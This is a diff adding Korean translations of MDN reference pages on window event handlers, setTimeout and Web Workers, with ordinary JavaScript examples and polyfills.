Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("storage")}} event is raised.
+
{{domxref("WindowEventHandlers.onunhandledrejection")}} {{experimental_inline}}
+
An event handler for unhandled {{jsxref("Promise")}} rejection events.
+
{{domxref("WindowEventHandlers.onunload")}}
+
Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("unload")}} event is raised.
+
+ +

Methods

+ +

This interface defines no method.

+ +

Specifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', '#windoweventhandlers', 'WindowEventHandlers')}}{{Spec2('HTML WHATWG')}}No change since the latest snapshot, {{SpecName("HTML5.1")}}.
{{SpecName('HTML5.1', '#windoweventhandlers', 'WindowEventHandlers')}}{{Spec2('HTML5.1')}}Snapshot of {{SpecName("HTML WHATWG")}}. Added onlanguage since the {{SpecName("HTML5 W3C")}} snapshot.
{{SpecName("HTML5 W3C", "#windoweventhandlers", "WindowEventHandlers")}}{{Spec2('HTML5 W3C')}}Snapshot of {{SpecName("HTML WHATWG")}}. Creation of WindowEventHandlers (properties where on the target before it).
+ +

Browser compatibility

+ + + +

{{Compat("api.WindowEventHandlers")}}

+ +

See also

+ + diff --git a/files/ko/web/api/windoweventhandlers/onhashchange/index.html b/files/ko/web/api/windoweventhandlers/onhashchange/index.html new file mode 100644 index 0000000000..1a9f932360 --- /dev/null +++ b/files/ko/web/api/windoweventhandlers/onhashchange/index.html @@ -0,0 +1,159 @@ +--- +title: WindowEventHandlers.onhashchange +slug: Web/API/WindowEventHandlers/onhashchange +tags: + - HTML-DOM + - Property + - Reference + - WindowEventHandlers +translation_of: Web/API/WindowEventHandlers/onhashchange +--- +
+
{{APIRef("HTML DOM")}}
+ +
{{domxref("WindowEventHandlers")}} 믹스인의 WindowEventHandlers.onhashchange 속성은 
+
+ +

hashchange 이벤트를 처리하기 위한 {{domxref("EventHandler")}} 입니다.

+ +

hashchange 이벤트는 윈도우의 해시가 변경되면 시작됩니다. ( {{domxref("Window.location")}} 및 {{domxref("HTMLHyperlinkElementUtils.hash")}} 참조)

+ +

문법

+ +

event handler:

+ +
window.onhashchange = funcRef;
+
+ +

HTML event handler:

+ +
<body onhashchange="funcRef();">
+
+ +

event listener:

+ +

{{domxref("EventTarget.addEventListener()", "addEventListener()")}}를 사용하여 이벤트 리스너 추가하기

+ +
window.addEventListener("hashchange", funcRef, false);
+
+ +

매개변수

+ +
+
funcRef
+
함수에 대한 참조.
+
+ +

예제

+ +

event handler 사용하기

+ +

This example uses an event handler (window.onhashchange) to check the new hash value whenever it changes. If it equals #cool-feature, the script logs a message to the console.

+ +
function locationHashChanged() {
+  if (location.hash === '#cool-feature') {
+    console.log("You're visiting a cool feature!");
+  }
+}
+
+window.onhashchange = locationHashChanged;
+
+ +

Using an event listener

+ +

이 예제는 이벤트 리스너를 사용하여 해시가 변경 될 때마다 콘솔에 알림표시합니다.

+ +
function hashHandler() {
+  console.log('The hash has changed!');
+}
+
+window.addEventListener('hashchange', hashHandler, false);
+ +

Overriding the hash

+ +

이 함수는 새로운 해시를 동적으로 설정하여 임의로 두 값 중 하나로 설정합니다.

+ +
function changeHash() {
+  location.hash = (Math.random() > 0.5) ? 'location1' : 'location2';
+}
+
+ +

hashchange 이벤트

+ +

hashchange 이벤트에는 다음과 같은 필드가 있습니다:

+ + + + + + + + + + + + + + + + + + + +
FieldTypeDescription
newURL {{gecko_minversion_inline("6.0")}}DOMString탐색할 새로운 URL입니다.
oldURL {{gecko_minversion_inline("6.0")}}DOMString탐색했던 이전의 URL입니다.
+ +

제2의 해결책을 위한 event.newURL 와 event.oldURL

+ +
//let this snippet run before your hashchange event binding code
+if(!window.HashChangeEvent)(function(){
+	var lastURL=document.URL;
+	window.addEventListener("hashchange",function(event){
+		Object.defineProperty(event,"oldURL",{enumerable:true,configurable:true,value:lastURL});
+		Object.defineProperty(event,"newURL",{enumerable:true,configurable:true,value:document.URL});
+		lastURL=document.URL;
+	});
+}());
+
+ +

명세

+ + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', '#windoweventhandlers', 'GlobalEventHandlers')}}{{Spec2('HTML WHATWG')}}
{{SpecName('HTML5.1', '#windoweventhandlers', 'GlobalEventHandlers')}}{{Spec2('HTML5.1')}}
{{SpecName("HTML5 W3C", "#windoweventhandlers", "GlobalEventHandlers")}}{{Spec2('HTML5 W3C')}}
+ +

브라우저 호환성

+ +

{{Compat("api.WindowEventHandlers.onhashchange")}}

+ +

See also

+ + diff --git a/files/ko/web/api/windoweventhandlers/onpopstate/index.html b/files/ko/web/api/windoweventhandlers/onpopstate/index.html new file mode 100644 index 0000000000..4da830dbe2 --- /dev/null +++ b/files/ko/web/api/windoweventhandlers/onpopstate/index.html @@ -0,0 +1,57 @@ +--- +title: WindowEventHandlers.onpopstate +slug: Web/API/WindowEventHandlers/onpopstate +translation_of: Web/API/WindowEventHandlers/onpopstate +--- +
{{APIRef}} {{gecko_minversion_header("2")}}
+ +

요약

+ +

window의 popstate 이벤트 핸들러

+ +

같은 document에 관한 두개의 히스토리 엔트리에 변화가 일어날 때마다, popstate event가 window 객체에 붙게 된다. 만약 활성화된 엔트리가 history.pushState() 메서드나 history.replaceState() 메서드에 의해 생성되면, popstate 이벤트의 state 속성은 히스토리 엔트리 state 객체의 복사본을 갖게 된다.

+ +

history.pushState() 또는 history.replaceState()는 popstate 이벤트를 발생시키지 않는 것에 유의한다.popstate 이벤트는 브라우저의 백 버튼이나 (history.back() 호출) 등을 통해서만 발생된다. 그리고 그 이벤트는 같은 document에서 두 히스토리 엔트리 간의 이동이 있을 때만 발생이 된다.

+ +

브라우저는 popstate 이벤트를 페이지 로딩시에 다르게 처리한다. Chrome(v34 이전버전) 와 Safari는 popstate 이벤트를 페이지 로딩시에 발생시킨다. 하지만 Firefox 는 그렇지 않다.

+ +

문법

+ +
window.onpopstate = funcRef;
+
+ + + +

popstate 이벤트

+ +

예시를 보자, 다음의 코드를 실행하는 http://example.com/example.html의 한 페이지는 주석에 쓰여있는 경고들을 발생시킨다.

+ +
window.onpopstate = function(event) {
+  alert("location: " + document.location + ", state: " + JSON.stringify(event.state));
+};
+
+history.pushState({page: 1}, "title 1", "?page=1");
+history.pushState({page: 2}, "title 2", "?page=2");
+history.replaceState({page: 3}, "title 3", "?page=3");
+history.back(); // alerts "location: http://example.com/example.html?page=1, state: {"page":1}"
+history.back(); // alerts "location: http://example.com/example.html, state: null
+history.go(2);  // alerts "location: http://example.com/example.html?page=3, state: {"page":3}
+
+ +

원래의 히스토리 엔트리인 (http://example.com/example.html) 에 이와 연관된 state 객체가 없더라도, 두번째 history.back() API 호출 후 엔트리를 활성화 시키면 popstate 이벤트는 여전히 발생된다.

+ +

Specification

+ + + +

See also

+ + diff --git a/files/ko/web/api/windoweventhandlers/onstorage/index.html b/files/ko/web/api/windoweventhandlers/onstorage/index.html new file mode 100644 index 0000000000..8490ff6119 --- /dev/null +++ b/files/ko/web/api/windoweventhandlers/onstorage/index.html @@ -0,0 +1,64 @@ +--- +title: WindowEventHandlers.onstorage +slug: Web/API/WindowEventHandlers/onstorage +tags: + - API + - Event Handler + - Property + - Reference + - Web Storage + - WindowEventHandlers +translation_of: Web/API/WindowEventHandlers/onstorage +--- +
{{APIRef}}
+ +

{{domxref("WindowEventHandlers")}} 믹스인의 onstorage 속성은 storage 이벤트를 처리하는 {{domxref("EventHandler")}}입니다.

+ +

storage 이벤트는 다른 문서에서 저장소를 변경했을 때 발생합니다.

+ +

구문

+ +
 window.onstorage = functionRef;
+ +

+ +

functionRef는 함수 이름 혹은 함수 표현식으로, 단일 매개변수로써 {{domxref("StorageEvent")}}를 받습니다.

+ +

예제

+ +

다음 예제는 다른 문서에서 저장소 키를 바꿀 때마다 메시지를 기록합니다.

+ +
window.onstorage = function(e) {
+  console.log('The ' + e.key +
+    ' key has been changed from ' + e.oldValue +
+    ' to ' + e.newValue + '.');
+};
+ +

명세

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG','webappapis.html#handler-window-onstorage','onstorage')}}{{Spec2('HTML WHATWG')}}
+ +

브라우저 호환성

+ + + +

{{Compat("api.WindowEventHandlers.onstorage")}}

+ +

같이 보기

+ + diff --git a/files/ko/web/api/windowtimers/settimeout/index.html b/files/ko/web/api/windowtimers/settimeout/index.html new file mode 100644 index 0000000000..7b338a83fa --- /dev/null +++ b/files/ko/web/api/windowtimers/settimeout/index.html @@ -0,0 +1,429 @@ +--- +title: WindowTimers.setTimeout() +slug: Web/API/WindowTimers/setTimeout +tags: + - setTimeout +translation_of: Web/API/WindowOrWorkerGlobalScope/setTimeout +--- +
{{APIRef("HTML DOM")}}
+ +

타이머가 만료된 뒤 함수나 지정된 코드를 실행하는 타이머를 설정합니다.

+ +

문법

+ +
var timeoutID = window.setTimeout(func[, delay, param1, param2, ...]);
+var timeoutID = window.setTimeout(code[, delay]);
+window.setTimeout(function, milliseconds);
+
+ +

매개변수

+ +
+
func
+
{{jsxref("function")}}이 타이머가 만료된 뒤 실행됩니다.
+
code
+
선택적 구문으로 함수 대신에 문자열을 넣을 수 있는데, 이것은 타이머가 만료된 뒤 해석되고 실행됩니다.
+ 이 구문은 {{jsxref("Global_Objects/eval", "eval()")}}을 사용하는 것과 같은 보안 위험성을 이유로 권장되지 않습니다.
+
delay {{optional_inline}}
+
타이머가 지정된 함수나 코드를 실행시키기 전에 기다려야할 ms(1000분의 1초) 단위의 시간입니다.
+ 만약 이 매개변수를 생략하면, 0이 값으로 사용됩니다. 실제 지연시간은 더 길어질 수 있습니다;
+ 아래 {{anch("Reasons for delays longer than specified")}}를 참고하세요.
+
param1, ..., paramN {{optional_inline}}
+
타이머가 만료되고 {{anch("func")}}에 전달되는 추가적인 매개변수들입니다.
+
+ +
+

Internet Explorer 9 이하에서는 함수에 추가적인 매개변수들을 전달하는 기능이 동작하지 않습니다.
+ 만약 브라우저에서 이 기능을 사용하고 싶다면, {{anch("polyfill")}}을 사용하세요. (Callback arguments를 봐주세요)

+
+ +

반환 값

+ +

반환되는 timeoutID는 숫자이고, setTimeout()을 호출하여 만들어진 타이머를 식별할 수 있는 0이 아닌 값 입니다;
+ 이 값은 타이머를 취소시키기 위해 {{domxref("WindowTimers.clearTimeout()")}}에 전달할 수도 있습니다.

+ +

setTimeout()과 {{domxref("WindowTimers.setInterval", "setInterval()")}}는 같은 ID 공간을 공유하기 때문에, clearTimeout()과 {{domxref("WindowTimers.clearInterval", "clearInterval()")}} 둘 중 어느 것을 사용해도 기술적으로 동일하게 동작합니다.
+ 하지만 명확성을 위해, 코드를 유지보수할 때 혼란을 피하기 위해 항상 일치시켜야 합니다.

+ +

예제

+ +

다음 예제는 웹 페이지에 2개의 간단한 버튼을 설정하고 setTimeout()과 clearTimeout()에 연결합니다.
+ 첫 번째 버튼이 눌려지면 2초 뒤에 호출되는 타임아웃이 설정되고 clearTimeout()에 사용되는 ID가 저장됩니다.
+ 두 번째 버튼을 누름으로써 당신은 선택적으로 이 타임아웃을 취소할 수 있습니다.

+ +

HTML

+ +
<p>Live Example</p>
+<button onclick="delayedAlert();">Show an alert box after two seconds</button>
+<p></p>
+<button onclick="clearAlert();">Cancel alert before it happens</button>
+
+ +

JavaScript

+ +
var timeoutID;
+
+function delayedAlert() {
+  timeoutID = window.setTimeout(slowAlert, 2000);
+}
+
+function slowAlert() {
+  alert("That was really slow!");
+}
+
+function clearAlert() {
+  window.clearTimeout(timeoutID);
+}
+
+ +

결과

+ +

{{EmbedLiveSample('Example')}}
+ clearTimeout() 예제도 봐주세요.

+ +

Polyfill

+ +

하나 이상의 매개변수를 콜백 함수에 넘겨야 하는데, setTimeout() 또는 setInterval()을 사용하여 추가적인 매개변수를 보내는 것을 브라우저에서 지원하지 않는다면(e.g. Internet Explorer 9 이하), HTML5 표준 매개변수 전달 기능을 사용 가능하게 하는 이 polyfill을 넣을 수 있습니다. 그저 아래 코드를 스크립트를 상단에 작성해주시면 됩니다.

+ +
/*\
+|*|
+|*|  임의의 매개변수를 자바스크립트 타이머의 콜백함수에 전달하기 위한 Polyfill (HTML5 표준 명세).
+|*|
+|*|  https://developer.mozilla.org/en-US/docs/DOM/window.setInterval
+|*|
+|*|  Syntax:
+|*|  var timeoutID = window.setTimeout(func, delay[, param1, param2, ...]);
+|*|  var timeoutID = window.setTimeout(code, delay);
+|*|  var intervalID = window.setInterval(func, delay[, param1, param2, ...]);
+|*|  var intervalID = window.setInterval(code, delay);
+|*|
+\*/
+
+(function() {
+  setTimeout(function(arg1) {
+    if (arg1 === 'test') {
+      // feature test is passed, no need for polyfill
+      return;
+    }
+    var __nativeST__ = window.setTimeout;
+    window.setTimeout = function(vCallback, nDelay /*, argumentToPass1, argumentToPass2, etc. */ ) {
+      var aArgs = Array.prototype.slice.call(arguments, 2);
+      return __nativeST__(vCallback instanceof Function ? function() {
+        vCallback.apply(null, aArgs);
+      } : vCallback, nDelay);
+    };
+  }, 0, 'test');
+
+  var interval = setInterval(function(arg1) {
+    clearInterval(interval);
+    if (arg1 === 'test') {
+      // feature test is passed, no need for polyfill
+      return;
+    }
+    var __nativeSI__ = window.setInterval;
+    window.setInterval = function(vCallback, nDelay /*, argumentToPass1, argumentToPass2, etc. */ ) {
+      var aArgs = Array.prototype.slice.call(arguments, 2);
+      return __nativeSI__(vCallback instanceof Function ? function() {
+        vCallback.apply(null, aArgs);
+      } : vCallback, nDelay);
+    };
+  }, 0, 'test');
+}())
+
+ +

IE

+ +

IE9 이하를 포함하는 모든 모바일/데스크톱 브라우저에서 자바스크립트를 남용하지 않는 완벽한 해결책으로 , JavaScript 조건부 주석을 사용할 수 있습니다:

+ +
/*@cc_on
+  // conditional IE < 9 only fix
+  @if (@_jscript_version <= 9)
+  (function(f){
+     window.setTimeout=f(window.setTimeout);
+     window.setInterval=f(window.setInterval);
+  })(function(f){return function(c,t){var a=[].slice.call(arguments,2);return f(function(){c instanceof Function?c.apply(this,a):eval(c)},t)}});
+  @end
+@*/
+
+ +

혹은 IE HTML 조건부 기능을 기반으로 깔끔하게 접근할 수 있습니다:

+ +
<!--[if lte IE 9]><script>
+(function(f){
+window.setTimeout=f(window.setTimeout);
+window.setInterval=f(window.setInterval);
+})(function(f){return function(c,t){
+var a=[].slice.call(arguments,2);return f(function(){c instanceof Function?c.apply(this,a):eval(c)},t)}
+});
+</script><![endif]-->
+
+ +

예시

+ +

다른 해결책으로는 익명 함수를 callback으로 호출하여 사용할 수 있으나, 이 방법은 비용이 더 비쌉니다.

+ +
var intervalID = setTimeout(function() { myFunc("one", "two", "three"); }, 1000);
+
+ +

위 예제는 arrow function으로도 작성하실 수 있습니다.

+ +
var intervalID = setTimeout(() => { myFunc("one", "two", "three"); }, 1000);
+
+ +

다른 하나는 function's bind를 이용하는 것 입니다.

+ +
setTimeout(function(arg1){}.bind(undefined, 10), 1000);
+
+ +

"this" 문제

+ +

setTimeout()에 매개변수(혹은 다른 함수)를 전달할 때, 당신의 기대와는 다르게 this의 값이 호출될 것이다. 해당 이슈에 대한 자세한 사항은 JavaScript reference를 참고해주세요.

+ +

설명

+ +

setTimeout()에 의해 실행된 코드는 별도의 실행 컨텍스트에서 setTimeout이 호출된 함수로 호출됩니다.  호출된 함수에 대해서는 this 키워드를 설정하는 일반적인 규칙이 적용되며, this를 설정 혹은 할당하지 않은 경우, non-strict 모드에서 전역(혹은 window) 객체, strict모드에서 undefined를 기본 값으로 합니다. 다음 예제를 봐주세요: 

+ +
myArray = ["zero", "one", "two"];
+myArray.myMethod = function (sProperty) {
+    alert(arguments.length > 0 ? this[sProperty] : this);
+};
+
+myArray.myMethod(); // prints "zero,one,two"
+myArray.myMethod(1); // prints "one"
+ +

위와 같이 동작하는 이유는 myMethod 호출될 때, this는 myArray로 설정되므로, 함수 내에서의 this[속성]은 myArray[속성]와 같습니다. 하지만, 다음 예제를 보면:

+ +
setTimeout(myArray.myMethod, 1000); // 1초 뒤 "[Window 객체]" 출력
+setTimeout(myArray.myMethod, 1500, "1"); // 1.5초 뒤 "undefined" 출력
+ +

myArray.myMethod 함수는 setTimeout에 전달되고, 호출될 때 this는 설정되어 있지 않아 window 객체를 기본값으로 합니다. forEach, reduce 등 Array 메서드 같이 this를 매개변수로 넘길 수 있는 옵션 또한 없습니다. 그리고 아래에서 보다시피, call 사용해 this를 설정하는 것도 동작하지 않습니다.

+ +
setTimeout.call(myArray, myArray.myMethod, 2000); // error: "NS_ERROR_XPC_BAD_OP_ON_WN_PROTO: Illegal operation on WrappedNative prototype object"
+setTimeout.call(myArray, myArray.myMethod, 2500, 2); // same error
+
+ +

가능한 해결책

+ +

일반적인 해결책은 this 설정이 필요한 곳을 함수로 감싸는 것(Wrapper Function) 입니다:

+ +
setTimeout(function(){myArray.myMethod()}, 2000); // 2초 뒤"zero,one,two" 출력
+setTimeout(function(){myArray.myMethod('1')}, 2500); // 2.5초 뒤"one" 출력
+ +

화살표 함수(Arrow Function) 역시 가능한 대안입니다:

+ +
setTimeout(() => {myArray.myMethod()}, 2000); // 2초 뒤 "zero,one,two" 출력
+setTimeout(() => {myArray.myMethod('1')}, 2500); // 2.5초 뒤 "one" after 2.5 출력
+ +

this 문제를 해결하는 또다른 방법은 전역함수 setTimeout()과 setInterval()를 this 객체를 전달할 수 있는 전역함수로 대체하고 Function.prototype.call을 사용하여 콜백을 설정합니다:

+ +
// Enable setting 'this' in JavaScript timers
+
+var __nativeST__ = window.setTimeout,
+    __nativeSI__ = window.setInterval;
+
+window.setTimeout = function (vCallback, nDelay /*, argumentToPass1, argumentToPass2, etc. */) {
+  var oThis = this,
+      aArgs = Array.prototype.slice.call(arguments, 2);
+  return __nativeST__(vCallback instanceof Function ? function () {
+    vCallback.apply(oThis, aArgs);
+  } : vCallback, nDelay);
+};
+
+window.setInterval = function (vCallback, nDelay /*, argumentToPass1, argumentToPass2, etc. */) {
+  var oThis = this,
+      aArgs = Array.prototype.slice.call(arguments, 2);
+  return __nativeSI__(vCallback instanceof Function ? function () {
+    vCallback.apply(oThis, aArgs);
+  } : vCallback, nDelay);
+};
+ +
위 2개의 대안들은 IE의 타이 콜백함수에 임의의 매개변수를 전달하는 HTML5 표준 또한 가능하게 합니다.
+ +

새로운 기능 테스트:

+ +
myArray = ["zero", "one", "two"];
+myArray.myMethod = function (sProperty) {
+    alert(arguments.length > 0 ? this[sProperty] : this);
+};
+
+setTimeout(alert, 1500, "Hello world!"); // the standard use of setTimeout and setInterval is preserved, but...
+setTimeout.call(myArray, myArray.myMethod, 2000); // prints "zero,one,two" after 2 seconds
+setTimeout.call(myArray, myArray.myMethod, 2500, 2); // prints "two" after 2.5 seconds
+
+ +
JavaScript 1.8.5은 주어진 함수에 대한 모든 호출의 this 값을 설정하기 위한 Function.prototype.bind() 메서드를 도입하였습니다. 이렇게 하면 wrapper 함수를 사용하지 않고 콜백에 this 값을 설정할 수 있습니다.
+ +

bind()를 사용한 예제:

+ +
myArray = ["zero", "one", "two"];
+myBoundMethod = (function (sProperty) {
+    console.log(arguments.length > 0 ? this[sProperty] : this);
+}).bind(myArray);
+
+myBoundMethod(); // prints "zero,one,two" because 'this' is bound to myArray in the function
+myBoundMethod(1); // prints "one"
+setTimeout(myBoundMethod, 1000); // still prints "zero,one,two" after 1 second because of the binding
+setTimeout(myBoundMethod, 1500, "1"); // prints "one" after 1.5 seconds
+
+ +

참고

+ +

Timeout은 {{domxref("WindowOrWorkerGlobalScope.clearTimeout()")}}을 사용하면 취소됩니다. 함수를 반복해서 호출해야 한다면 (e.g., N 밀리초마다), {{domxref("WindowOrWorkerGlobalScope.setInterval()")}} 사용을 고려해보세요.

+ +

setTimeout()을 호출한 쓰레드가 종료될 때까지 함수나 코드 조각이 실행될 수 없다는 점에 유의해야합니다. 예를들어:

+ +
function foo(){
+  console.log('foo has been called');
+}
+setTimeout(foo, 0);
+console.log('After setTimeout');
+ +

콘솔에 이렇게 쓰여질겁니다:

+ +
After setTimeout
+foo has been called
+ +

그 이유는 setTimeout가 지연시간 0으로 호출되었지만, queue에 배치되어 다음 기회에 실행되도록 예정되기 때문입니다. 현재 실행중인 코드는 queue에 있는 함수들이 실행되기 전에 완료되고, 실행 순서가 예상과 다를 수 있습니다.

+ +

문자열을 넘길경우

+ +

 setTimeout() 함수대신 문자열을 넘기면 eval 사용했을 때와 같은 위험성을 가집니다.

+ +
// 권장
+window.setTimeout(function() {
+    alert("Hello World!");
+}, 500);
+
+// 비권장
+window.setTimeout("alert('Hello World!');", 500);
+
+ +

setTimeout에 전달된 문자열은 전역 context에서 해석하므로, setTimeout()이 호출된 로컬 context의 Symbol은 문자열이 코드로 해석될 때 사용할 수 없습니다.

+ +

지정된 것보다 더 오래 지연되는 이유

+ +

타임아웃이 예상보다 더 늦게까지 지연되는 데는 여러가지 이유가 있습니다. 이 문단에서는 일반적인 이유에 대해서 설명합니다.

+ +

중첩된 타임아웃이 4ms 이하일 경우

+ +

역사적으로 브라우저들은 setTimeout() "clamping"을 구현했습니다: "최소 지연" 한계보다 작은 지연을 가진 setTimeout() 호출은 최소 지연을 사용하도록 강제됩니다.

+ +

실제로, 4ms는 HTML5 스펙에 명시되어 있고 2010년 이후에 출시된 브라우저들은 일관성을 유지하고 있습니다. {{geckoRelease("5.0")}} 이전에 출시된 브라우저들은, 타임아웃(중첩 5이상)의 최소 지연시간은 10ms였습니다.

+ +

최신 브라우저에서 0ms 타임아웃을 구현하려면, 이곳에 설명된 {{domxref("window.postMessage()")}}를 사용할 수 있습니다.

+ +

비활성 탭에서 타임아웃이1000ms에 여러 번 일어날 경우

+ +

부하와 배터리 사용양을 줄이기 위해서, 비활성화 탭들에서 타임아웃이 1초에 여러번 일어나지 않도록 "clamping" 됩니다.

+ +

Firefox는 5버전부터 이 동작을 구현했습니다. ({{bug(633421)}}참고, 1000ms 상수는  dom.min_background_timeout_value 설정을 통해 수정할 수 있습니다)
+ Chrome은  11버전부터 구현했습니다 (crbug.com/66078).

+ +

Android용 Firefox는 {{bug(736602)}} 이후 버전 14부터 백그라운드 탭에 15분의 타임아웃을 사용하고, 완전히 unload도 할 수 있습니다.

+ +

타임아웃 지연

+ +

"clamping"과 더불어, 타임아웃은 다른 작업들로 인해 바쁜 페이지에서 늦게 실행될 수 있습니다.

+ +

최대 지연 값

+ +

Internet Explorer, Chrome, Safari, and Firefox 포함하는 브라우저들은 내부적으로 32-bit 부호있는 정수로 지연 값을 저장합니다. 이로 인해 2147483647보다 더 큰 지연을 사용할 때 정수 오버플로우가 발생하여, 타임아웃이 즉시 실행됩니다.

+ +

사양

+ + + + + + + + + + + + + + +
사양상태주석
{{SpecName("HTML WHATWG", "webappapis.html#dom-settimeout", "WindowTimers.setTimeout()")}}{{Spec2("HTML WHATWG")}}Initial definition (DOM Level 0)
+ +

지원 브라우저

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + +
기능ChromeFirefox (Gecko)Internet ExplorerOperaSafari
기본1.0{{CompatGeckoDesktop("1")}}4.04.01.0
Callback 매개변수 지원[1]{{CompatVersionUnknown}}{{CompatVersionUnknown}}10.0{{CompatVersionUnknown}}{{CompatVersionUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
기능AndroidChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
기본1.01.0{{CompatGeckoMobile("1")}}6.06.01.0
Callback 매개변수 지원[1]{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +

[1] 첫번째 form에서 매개변수를 지원하는지에 대한 여부.

+ +

더 알아보기

+ + diff --git a/files/ko/web/api/worker/index.html b/files/ko/web/api/worker/index.html new file mode 100644 index 0000000000..7eb924f469 --- /dev/null +++ b/files/ko/web/api/worker/index.html @@ -0,0 +1,129 @@ +--- +title: Worker +slug: Web/API/Worker +tags: + - API + - DOM + - Interface + - JavaScript + - Reference + - Web Workers + - Worker + - 워커 + - 웹 워커 +translation_of: Web/API/Worker +--- +
{{APIRef("Web Workers API")}}
+ +

Web Workers API Worker 인터페이스는 스크립트로 생성하고, 생성자와 메시지로 통신하는 백그라운드 작업을 나타냅니다. 워커의 생성은 Worker("path/to/worker/script") 생성자를 통해 할 수 있습니다.

+ +

워커는 부모 페이지와 같은 {{glossary("origin", "출처")}}에 호스팅 된 다른 워커를 생성할 수 있습니다. (참고: WebKit은 아직 중첩 워커를 구현하지 않았습니다.)

+ +

Worker 내에서 사용할 수 있는 인터페이스와 함수는 제한돼있습니다. 워커는 {{domxref("XMLHttpRequest")}}를 사용해 네트워크 통신을 할 수 있지만, 응답의 responseXMLchannel 특성은 항상 {{jsxref("null")}}입니다. (fetch는 이러한 제한 없이 사용할 수 있습니다.)

+ +

생성자

+ +
+
{{domxref("Worker.Worker", "Worker()")}}
+
주어진 URL의 스크립트를 실행하는 전용 웹 워커를 생성합니다. Blob URL도 사용할 수 있습니다.
+
+ +

속성

+ +

부모 {{domxref("EventTarget")}}에서 속성을 상속하고, {{domxref("AbstractWorker")}}의 속성을 구현합니다.

+ +

이벤트 처리기

+ +
+
{{domxref("AbstractWorker.onerror")}}
+
error 유형의 {{domxref("ErrorEvent")}}가 워커로 확산되면 호출할 {{domxref("EventListener")}}입니다. {{domxref("AbstractWorker")}}에서 상속합니다.
+
{{domxref("Worker.onmessage")}}
+
message 유형의 {{domxref("MessageEvent")}}가 워커로 확산되면, 즉 {{domxref("DedicatedWorkerGlobalScope.postMessage")}}를 통해 워커에서 부모 문서로 메시지를 전송하면 호출할 {{domxref("EventListener")}}입니다. 메시지는 {{domxref("MessageEvent.data", "data")}} 속성에 들어있습니다.
+
{{domxref("Worker.onmessageerror")}}
+
{{event("messageerror")}} 이벤트가 발생하면 호출할 {{domxref("EventHandler")}}입니다.
+
+ +
+
+ +

메서드

+ +

부모 {{domxref("EventTarget")}}에서 메서드를 상속하고, {{domxref("AbstractWorker")}}의 메서드를 구현합니다.

+ +
+
{{domxref("Worker.postMessage()")}}
+
워커의 내부 범위로 메시지를 전송합니다. 메시지는 임의의 JavaScript 객체입니다.
+
{{domxref("Worker.terminate()")}}
+
워커를 즉시 종료합니다. 현재 워커가 연산을 진행 중이더라도 완료를 기다리지 않습니다. {{domxref("ServiceWorker")}} 인스턴스는 이 메서드를 지원하지 않습니다.
+
+ +

이벤트

+ +
+
message
+
워커의 부모가 워커로부터 메시지를 수신했을 대 발생합니다.
+ onmessage 속성에서도 사용 가능합니다.
+
messageerror
+
Worker 객체가 역직렬화 할 수 없는 객체를 메시지로 받았을 대 발생합니다.
+ onmessageerror 속성에서도 사용 가능합니다.
+
+ +
+
rejectionhandled
+
{{jsxref("Promise")}}가 거부될 때마다 발생합니다. 거부를 처리할 처리기의 존재 유무는 고려하지 않습니다.
+ onrejectionhandled 속성에서도 사용 가능합니다.
+
unhandledrejection
+
{{jsxref("Promise")}}가 거부됐는데, 처리할 처리기가 없을 때 발생합니다.
+ onunhandledrejection 속성에서도 사용 가능합니다.
+
+ +

예제

+ +

다음 코드 조각은 {{domxref("Worker.Worker", "Worker()")}} 생성자를 사용해 Worker 객체를 생성한 후, 그 Worker를 사용합니다.

+ +
var myWorker = new Worker("worker.js");
+var first = document.querySelector('#number1');
+
+first.onchange = function() {
+  myWorker.postMessage([first.value,second.value]);
+  console.log('Message posted to worker');
+}
+ +

전체 예제를 보시려면 저희의 simple-web-worker 예제 (라이브)를 참고하세요.

+ +

명세

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', "#worker", "Worker")}}{{Spec2('HTML WHATWG')}}
+ +

브라우저 호환성

+ +

워커의 종류마다 지원 상황이 다릅니다. 각각의 페이지를 방문해 더 자세히 알아보세요.

+ + + +

{{Compat("api.Worker")}}

+ +

교차 출처에서의 워커 오류 동작

+ +

초기 명세에서는 교차 출처 워커 스크립트를 불러오려 시도하면 SecurityError가 발생했습니다. 요즘은 오류 대신 {{event("error")}} 이벤트가 발생합니다. 이 글에서 교차 출처 처리 방법을 알아보세요.

+ +

같이 보기

+ + diff --git a/files/ko/web/api/worker/postmessage/index.html b/files/ko/web/api/worker/postmessage/index.html new file mode 100644 index 0000000000..5e6053407d --- /dev/null +++ b/files/ko/web/api/worker/postmessage/index.html @@ -0,0 +1,205 @@ +--- +title: Worker.postMessage() +slug: Web/API/Worker/postMessage +translation_of: Web/API/Worker/postMessage +--- +

{{APIRef("Web Workers API")}}

+ +

{{domxref("Worker")}} interface의 메서드, postMessage()Worker 자신의 내부 영역으로 메시지를 전달합니다. 이 메서드는 Worker 자신에게 보낼 하나의 매개변수를 받습니다. 매개변수로 들어갈 데이터는 순환 참조를 포함하는 structured clone algorithm에 의해 다루어지는 JavaScript 객체를 포함에 어떤 값이든 들어갈 수 있습니다.

+ +

 Worker는 정보를 다시 {{domxref("DedicatedWorkerGlobalScope.postMessage")}} 메서드를 사용해 받은 정보를 산란시키는 스레드로 전달해줄 수 있다.

+ +

Syntax

+ +
myWorker.postMessage(aMessage, transferList);
+ +

Parameters

+ +
+
aMessage
+
worker로 전해 줄 객체;  이 매개변수는 {{domxref("DedicatedWorkerGlobalScope.onmessage")}} 이벤트 핸들러로 전해질 이벤트의 데이터 필드에 들어갈 것이다. 순환 참조를 포함하는 structured clone 알고리즘에 의해 다루어지는 JavaScript 객체 혹은 어떤 값이라도 이 매개변수에 들어갈 수 있다.
+
transferList {{optional_inline}}
+
An optional array of {{domxref("Transferable")}} objects to transfer ownership of. If the ownership of an object is transferred, it becomes unusable (neutered) in the context it was sent from and becomes available only to the worker it was sent to.
+
